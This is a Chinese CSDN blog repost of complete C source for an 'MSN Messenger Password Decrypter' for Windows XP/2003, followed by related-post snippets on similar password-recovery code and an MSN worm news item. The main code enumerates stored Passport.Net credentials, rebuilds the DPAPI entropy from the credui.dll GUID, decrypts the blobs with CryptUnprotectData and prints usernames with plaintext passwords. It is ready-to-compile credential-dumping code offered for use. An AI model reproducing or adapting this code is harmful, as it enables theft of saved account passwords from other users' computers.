转一个获取MSN口令的代码

VC编程获取MSN口令代码 MSN Messenger uses Windows Credential UI [credui.dll] on WinXP/2003. Password-Storage mechanism differs in these OSes so, the code posted by tombkeeper [http://xfocus.net/articles/200408/726.html] d 阅读详情

MSN Messenger uses Windows Credential UI [credui.dll]
on WinXP/2003. Password-Storage mechanism differs in
these OSes so, the code posted by tombkeeper
[http://xfocus.net/articles/200408/726.html] doesn't
seem to work anymore on my OS atleast. Also, a
'entropy' value has been thrown, which is based on
credui.dll GUID.

So, here is the code that fullfils the same purpose -
but surely works on my OS [WinXP SP2] :)

/--- Start-Code --/

/*
 *  MSN Messenger Password Decrypter for Windows XP &
2003
 *  (Compiled-VC++ 7.0, tested on WinXP SP2, MSN
Messenger 7.0)
 *      - Gregory R. Panakkal
 *        http://www.crapware.tk/
 *        http://www.infogreg.com/
 */

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "Crypt32.lib")


//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK //LCC-Win32 Includes]

typedef struct _CREDENTIAL_ATTRIBUTEA {
    LPSTR Keyword;
    DWORD Flags;
    DWORD ValueSize;
    LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
    DWORD Flags;
    DWORD Type;
    LPSTR TargetName;
    LPSTR Comment;
    FILETIME LastWritten;
    DWORD CredentialBlobSize;
    LPBYTE CredentialBlob;
    DWORD Persist;
    DWORD AttributeCount;
    PCREDENTIAL_ATTRIBUTEA Attributes;
    LPSTR TargetAlias;
    LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;

////////////////////////////////////////////////////////////////////

typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);

typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;

////////////////////////////////////////////////////////////////////

void showBanner()
{
    printf("MSN Messenger Password Decrypter forWindows XP/2003/n");
    printf("   - Gregory R. Panakkal,http://www.infogreg.com /n/n");
}

////////////////////////////////////////////////////////////////////
int main()
{
    PCREDENTIAL *CredentialCollection = NULL;
    DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

    //used for filling up blobEntropy
    char szEntropyStringSeed[37] =
"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
    short int EntropyData[37];
    short int tmp;

    HMODULE hDLL;
    DWORD Count, i;

    showBanner();

    //Locate CredEnumerate, CredRead, CredFree from advapi32.dll
    if( hDLL = LoadLibrary("advapi32.dll") )
    {
        pfCredEnumerateA =
(typeCredEnumerateA)GetProcAddress(hDLL,
"CredEnumerateA");
        pfCredReadA =
(typeCredReadA)GetProcAddress(hDLL, "CredReadA");
        pfCredFree =
(typeCredFree)GetProcAddress(hDLL, "CredFree");

        if( pfCredEnumerateA == NULL||
            pfCredReadA == NULL ||
            pfCredFree == NULL )
        {
            printf("error!/n");
            return -1;
        }
    }
   

    //Get an array of 'credential', satisfying the filter
    pfCredEnumerateA("Passport.Net//*", 0, &Count,&CredentialCollection);


    if( Count ) //usually this value is only 1
    {

        //Calculate Entropy Data
        for(i=0; i<37; i++) //strlen(szEntropyStringSeed) = 37
        {
            tmp = (short int)szEntropyStringSeed[i];
            tmp <<= 2;
            EntropyData[i] = tmp;
        }

        for(i=0; i<Count; i++)
        {
            blobEntropy.pbData = (BYTE *)&EntropyData;
            blobEntropy.cbData = 74;
//sizeof(EntropyData)

            blobCrypt.pbData =
CredentialCollection[i]->CredentialBlob;
            blobCrypt.cbData =
CredentialCollection[i]->CredentialBlobSize;

            CryptUnprotectData(&blobCrypt, NULL,
&blobEntropy, NULL, NULL, 1, &blobPlainText);
           
            printf("Username : %s/n",
CredentialCollection[i]->UserName);
            printf("Password : %ls/n/n",
blobPlainText.pbData);
        }
    }

    pfCredFree(CredentialCollection);
}

/--- End-Code --/

URL :
http://www.infogreg.com/source-code/gpl/msn-messenger-password-decrypter-for-windows-xp-and-2003.html


本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yztgx/archive/2005/08/18/457797.aspx

MSN获取  **** Windows Live Messenger v8.0 Password Finder for Windows XP & 2003** (Compiled-VC++ 6.0 SP6, tested on WinXP SP2, Windows Live Messenger8.0.0812.00)** - Gregory R. Panakkal** http://www.crapware. 阅读详情

相关推荐

[C++] 获取IE代理服务器的账号密

很多程序需要使用‘浏览器设置’的代理服务器,IE设置的代理服务器有可能是需要账号密的。怎样编程获取浏览器设置的代理服务器的账号密呢?InternetQueryOption(NULL, INTERNET_OPTION_PASSWORD, buf, &len)这个方法被证明不能达到我们的目标。INTERNET_OPTION_PASSWORD只能用于获取特定连接的密,也就是说只有当你对...

weixin_30820151的博客 595

从注册表中还原MSNMessenger口令

演示从注册表中还原MSNMessenger口令作者:tombkeeper (t0mbkeeper_at_hotmail.com)/* MSNMessenger的口令是经过DPAPI加密后保存在注册表中的* 这个程序演示解过程* tombkeeper[0x40]nsfocus[0x2e]com* tombkeeper[0x40]xfocus[0x2e]net* 2004.08.11*/#inclu

yztgx的专栏 1335

通过 DPAPI 获取当前帐号保存的 MSN Messenger 密

通过 DPAPI 获取当前帐号保存的 MSN Messenger 密tomekeeper 在水木BBS上贴了一个通过 DPAPI 获取保存的 MSN代码。其核心思想是从 MSN 加密保存在注册表中的键里,把加密后字符串抠出来,然后使用 DPAPI 的函数 CryptUnprotectData 解密之。关键代码如下://...ret = RegOpenKeyEx(HKEY_CURRENT_

onefish的专栏 1738

MSN幽灵”造“僵尸电脑”发起洪水攻击

来源:天极网1月20日,江民反病毒中心截获 “MSN幽灵”病毒(I-Worm/MSN.DropBot),该病毒通过MSN传播,可以释放出"罗伯特"后门病毒的最新变种Backdoor/RBot.yi。黑客利用此病毒可以大批量制造“僵尸电脑”,从而肆意操纵这些僵尸网络对任一目标发起网络洪水攻击。  据江民反病毒专家介绍,“MSN幽灵”病毒最大的危害在于其能够释放“罗伯特”病毒最新变种。“罗伯特”病

858

MSNP18协议分析(一)--- MSN协议介绍

主要介绍MSNP18协议的发展和基本概念,为这一些列的开篇。

CC的技术专栏 7293

如何管理并设计你的口令

在互联网上,需要我们输入用户名口令的地方实在是太多了,多得都让人记不过来了,N个电子邮件帐号,QQ, MSN,校内,开心,facebook,Blog,各种论坛,网银,淘宝,电子相册……,而我们的用户帐号安全问题也出现了。本文主要想共享一下我个人的一些口令管理和编制的方法,希望你喜欢。(原文:http://coolshell.cn/?p=2428)

陈皓专栏 【空谷幽兰,心如皓月】 5万+

演示从注册表中还原MSNMessenger口令

演示从注册表中还原MSNMessenger口令作者:tombkeeper (t0mbkeeper_at_hotmail.com)/* MSNMessenger的口令是经过DPAPI加密后保存在注册表中的* 这个程序演示解过程* tombkeeper[0x40]nsfocus[0x2e]com* tombkeeper[0x40]xfocus[0x2e]net* 2004.08.11*/#inc

adubbser的专栏 874

[ZT]MSN Messenger的口令获取代码, MSNMessenger的口令是经过DPAPI加密后保存在注册表中...

来自http://www.msning.com/bbs/index.php?showtopic=15654/* MSNMessenger的口令是经过DPAPI加密后保存在注册表中的* 这个程序演示解过程* tombkeeper[0x40]nsfocus[0x2e]com* tombkeeper[0x40]xfocus[0x2e]net* 2004.08.11*/#include <Wind...

weixin_30920597的博客 149

基于BIOS的开机口令设计与实现

 基于BIOS的开机口令设计与实现--添加BIOS模块,提高系统安全性 摘要:计算机病毒、后门程序层出不穷,系统安全让人防不胜防,可执行文件、数据、文档等等均成为攻击的目标,甚至BIOS也不能幸免成为黑客攻击的对象。本文将介绍BIOS的基本结构,并实际编写BIOS模块写入BIOS芯片以提高系统安全性。同时让读者了解BIOS存在的风险,提高防范意识。 目录一、前言 二、所

藏在太阳下 947

openfire中配置msn网关后spark客户端不能显示msn功能的原因

在openfire中配置了msn 网关并测通后(msn网关配置需要从网上找到一个有效的msn服务器地址),登陆spark没有发现配置msn帐号的信息,我当时配置的时候用的是spark2.5.4,后来决定用2.5.8的试验,在spark工具条上出现了msn的图标,点击后,要求输入msn的帐号和口令,帐号配置后,过一会msn的列表就出现在spark中了,下面是spark联通msn后的截图:  

baozhengw的专栏 3398
上一篇: MSN Messenger协议简介
下一篇: 模拟实现msn登陆过程(MSNP15)
hack8
博客等级 码龄18年 109粉丝 128原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值